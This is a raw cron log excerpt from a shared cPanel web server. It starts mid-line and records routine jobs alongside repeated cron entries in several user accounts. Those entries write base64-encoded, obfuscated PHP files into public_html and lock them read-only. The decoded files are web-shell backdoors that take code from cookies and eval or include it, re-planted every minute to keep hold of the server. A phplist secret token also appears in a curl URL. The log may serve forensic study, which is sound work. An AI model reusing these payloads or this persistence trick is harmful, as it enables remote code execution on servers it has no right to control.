d6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:16:02 medusa CROND[23065]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:16:02 medusa CROND[23071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:16:02 medusa CROND[23074]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:16:02 medusa CROND[23073]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:16:02 medusa CROND[23072]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:17:01 medusa CROND[13238]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 13:17:01 medusa CROND[13239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:17:01 medusa CROND[13241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:17:01 medusa CROND[13240]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:17:01 medusa CROND[13242]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:17:01 medusa CROND[13244]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:17:01 medusa CROND[13243]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:17:01 medusa CROND[13247]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:17:01 medusa CROND[13248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:17:01 medusa CROND[13251]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:17:01 medusa CROND[13258]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:17:01 medusa CROND[13259]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:17:01 medusa CROND[13260]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:18:02 medusa CROND[5403]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:18:02 medusa CROND[5407]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:18:02 medusa CROND[5408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:18:02 medusa CROND[5409]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:18:02 medusa CROND[5410]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:18:02 medusa CROND[5411]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:18:02 medusa CROND[5412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:18:02 medusa CROND[5413]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:18:02 medusa CROND[5414]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 13:18:02 medusa CROND[5415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:18:02 medusa CROND[5416]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:18:02 medusa CROND[5417]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:18:02 medusa CROND[5418]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:18:02 medusa CROND[5419]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:19:01 medusa CROND[30685]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:19:01 medusa CROND[30750]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
